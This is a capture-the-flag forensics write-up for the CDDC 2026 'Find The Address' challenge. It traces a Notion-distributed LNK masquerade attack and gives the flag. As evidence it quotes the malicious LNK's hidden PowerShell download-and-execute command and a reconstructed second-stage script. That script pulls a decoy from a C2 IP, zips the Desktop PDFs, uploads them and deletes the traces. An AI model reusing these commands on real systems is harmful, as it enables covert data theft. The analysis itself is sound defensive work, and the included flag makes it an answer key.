← All writeups

CDDC2026

CDDC 2026 — Find The Address (Forensics)

Flag: CDDC2026{h0kj9sepk@bomnet.net_26CDDCCAFEFF_confidential_personal_data}

Challenge

Star, an employee of Company A, downloaded a document through the company's collaboration platform. Although the document appeared to open normally, evidence later emerged that internal company documents had been leaked to an external party. Conduct a detailed investigation of this incident and report:

  1. The email address of the user who distributed the malicious file.
  2. The attacker's MAC address. (ab:cd:ef:ff:ff:ff → ABCDEFFFFFFF)
  3. The name of the file that the attacker leaked. (lowercase, no extension)

Flag format: CDDC2026{1_2_3}

Provided artifact: Find+The+Address.zip containing a 528 MB AccessData FTK Imager AD1 logical image (Find The Address.ad1) with selected NTFS metadata + parts of Users\Star\ (Notion app data, Downloads, Desktop USN, etc.).

Approach

No FTK Imager / libad1 was available locally and the Python dfvfs/libad1 packages would not install. AD1 stores file content in zlib-compressed chunks, so a quick-and-dirty extraction works: scan the file for every 78 9C / 78 DA / 78 01 / 78 5E zlib stream header, decompress as much as possible from each candidate, concatenate the output, and search the resulting blob with regex.

import zlib, re
data = open(r'Find The Address.ad1', 'rb').read()
combined = bytearray()
for m in re.finditer(b'\x78[\x01\x9C\xDA\x5E]', data):
    try:
        out = zlib.decompressobj().decompress(data[m.start():m.start()+200_000])
        if len(out) > 50:
            combined += out + b'\n--BLOCK_END--\n'
    except zlib.error:
        pass
open('decompressed.bin', 'wb').write(combined)

That yielded ~1.6 GB of decompressed content (NTFS $MFT / $UsnJrnl records, Notion app database, PowerShell event-log records, the malicious .lnk, etc.) — enough to answer all three questions.

(1) Email of the distributor — h0kj9sepk@bomnet.net

Notion stores workspace members and block ownership in its local notion-app SQLite/IDB cache. Searching the decompressed blob for the file name surfaces the file block's metadata:

"3140f318-87be-8068-b988-cc632ac9df25": {
  "value": {
    "type": "file",
    "properties": {
      "title": [["New_Coffee_Manual.zip"]],
      "source": [["attachment:a7bc90f3-…:New_Coffee_Manual.zip"]]
    },
    "created_by_table": "notion_user",
    "created_by_id": "314d872b-594c-81c0-b4ed-000296f11683"
  }
}

And the matching user record:

"314d872b-594c-81c0-b4ed-000296f11683": {
  "value": {
    "email": "h0kj9sepk@bomnet.net",
    "name": "Ethan",
    "role": "reader"
  }
}

Star (yoliyi9015@netoiu.com) and the workspace owner (tt0621ttt@gmail.com) are also in the member list, but the file block was created by Ethan / h0kj9sepk@bomnet.net.

(2) Attacker's MAC — 26CDDCCAFEFF

New_Coffee_Manual.zip contains New_Coffee_Manual.pdf<padding spaces>.lnk — a classic LNK masquerade. Locating LNKs by their signature 4C 00 00 00 01 14 02 00 … 00 00 00 46, then parsing each one's strings + TrackerDataBlock (block sig 0xA0000003):

LNK at decompressed offset 1331926705
  MachineID : win-oadfagrvia9        ← not Star's host (desktop-i8k3u0c)
  Droid 1   : 70abbcf5-ddc2-8e4e-b01f-f89696cd794f
  Droid 2   : cf83c74d-0003-f111-a2db-26cddccafeff
  Arguments : -W h -NoP -ep bypass -c "IEX ([Text.Encoding]::Unicode.
              GetString([Convert]::FromBase64String((New-Object Net.WebClient).
              DownloadString('http://69.50.10.5:8/config.txt'))))"

In a v1 UUID the last 6 bytes (the node) are stored big-endian and equal the creator's MAC. Droid 2 ends in 26 CD DC CA FE FF, so the attacker host's MAC is 26:CD:DC:CA:FE:FF → 26CDDCCAFEFF.

(Star's own LNKs in Recent\ carry 9c:61:7b:52:fc:cf / NetBIOS desktop-i8k3u0c, confirming this LNK was authored elsewhere.)

(3) Leaked file — confidential_personal_data

The IEX'd config.txt second-stage was reconstructed from Microsoft-Windows-PowerShell/Operational ScriptBlock event records inside the image:

iwr http://69.50.10.5:8/1.pdf -Out $env:TEMP\New_coffee_manual.pdf;
saps $env:TEMP\New_coffee_manual.pdf;
gci $env:USERPROFILE\Desktop\*.pdf |
    Compress-Archive -DestinationPath $env:TEMP\z.zip -f;
irm http://69.50.10.5:8/upload -Method Post -In $env:TEMP\z.zip;
sleep 9;
if (Test-Path "$env:TEMP\z.zip") { Remove-Item "$env:TEMP\z.zip" -Force };
Remove-Item $env:USERPROFILE\Desktop\*.pdf

Behaviour:

  1. Pulls a decoy PDF from the C2 (http://69.50.10.5:8/1.pdf), saves to %TEMP%\New_coffee_manual.pdf, and opens it so the document "appears to open normally".
  2. Globs every *.pdf on Star's Desktop, zips them to %TEMP%\z.zip.
  3. POSTs z.zip to http://69.50.10.5:8/upload.
  4. Wipes z.zip and the Desktop PDFs.

The PDFs themselves are gone from the live filesystem, but $UsnJrnl:$J records the writes/closes/deletes. Filtering UTF-16 PDF filenames in the decompressed image yields exactly one realistic candidate that lived on Star's Desktop:

Confidential_Personal_Data.pdf

surrounded by USN reason codes for FILE_CREATE / DATA_EXTEND / CLOSE and finally FILE_DELETE — i.e. created, modified, and removed by the exfil script.

So the leaked file is Confidential_Personal_Data.pdf → normalised: confidential_personal_data.

Final flag

CDDC2026{h0kj9sepk@bomnet.net_26CDDCCAFEFF_confidential_personal_data}